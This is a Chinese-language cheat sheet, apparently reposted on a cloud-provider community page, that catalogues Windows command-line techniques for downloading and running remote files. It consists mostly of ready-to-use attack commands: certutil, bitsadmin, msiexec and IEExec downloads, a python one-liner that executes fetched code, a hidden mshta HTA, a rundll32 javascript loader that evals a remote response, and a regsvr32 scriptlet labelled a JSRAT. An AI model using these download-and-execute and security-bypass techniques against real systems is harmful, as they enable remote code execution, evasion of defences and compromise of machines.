【技巧總結】Windows下命令列下載檔案總結

來源:互聯網
上載者:User

標籤:resize   cal   sleep   alc   AC   log   通過   move   asp   

0x00 Powershell

win2003、winXP不支援

$client = new-object System.Net.WebClient$client.DownloadFile(‘http://payloads.online/file.tar.gz’, ‘E:\file.tar.gz’)

通過IE下載檔案

$ie = New-Object -Com internetExplorer.Application$ie.Navigate("https://site.com/somefile") #------------------------------#Wait for Download Dialog box to pop upSleep 5while($ie.Busy){Sleep 1}#------------------------------ #Hit "S" on the keyboard to hit the "Save" button on the download box$obj = new-object -com WScript.Shell$obj.AppActivate(‘Internet Explorer‘)$obj.SendKeys(‘s‘) #Hit "Enter" to save the file$obj.SendKeys(‘{Enter}‘) #Closes IE Downloads window$obj.SendKeys(‘{TAB}‘)$obj.SendKeys(‘{TAB}‘)$obj.SendKeys(‘{TAB}‘)$obj.SendKeys(‘{Enter}‘)
0x01 ftp

ftp 192.168.3.2

輸入使用者名稱和密碼後

lcd E:\file # 進入E盤下的file目錄

cd www # 進入伺服器上的www目錄

get access.log # 將伺服器上的access.log下載到E:\file

可以參考:https://baike.baidu.com/item/ftp/13839

0x02 IPC$
copy \\192.168.3.1\c$\test.exe E:\file
0x03 Certutil

可以參考:https://technet.microsoft.com/zh-cn/library/cc773087(WS.10).aspx

應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt
0x04 bitsadmin

可以參考:https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx

    1、bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt    2、bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
0x05 msiexec
msiexec /q /i http://192.168.3.1/test.txt
0x06 IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s offC:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
0x07 python
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
0x08 mshta
mshta http://192.168.3.1/run.hta

run.hta 內容如下:

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c net user" // 這裡填寫命令self.close</script><body>demo</body></HEAD> </HTML>
0x09 rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

其實還是依賴於WScript.shell這個組件

0x10 regsvr32
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data內容:

<?XML version="1.0"?><scriptlet><registration    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >    <!-- Learn from Casey Smith @subTee -->    <script language="JScript">        <![CDATA[            ps  = "cmd.exe /c calc.exe";            new ActiveXObject("WScript.Shell").Run(ps,0,true);        ]]></script></registration></scriptlet>

還可以利用 https://github.com/CroweCybersecurity/ps1encode 產生sct(COM scriptlet - requires a webserver to stage the payload)

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

【技巧總結】Windows下命令列下載檔案總結

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.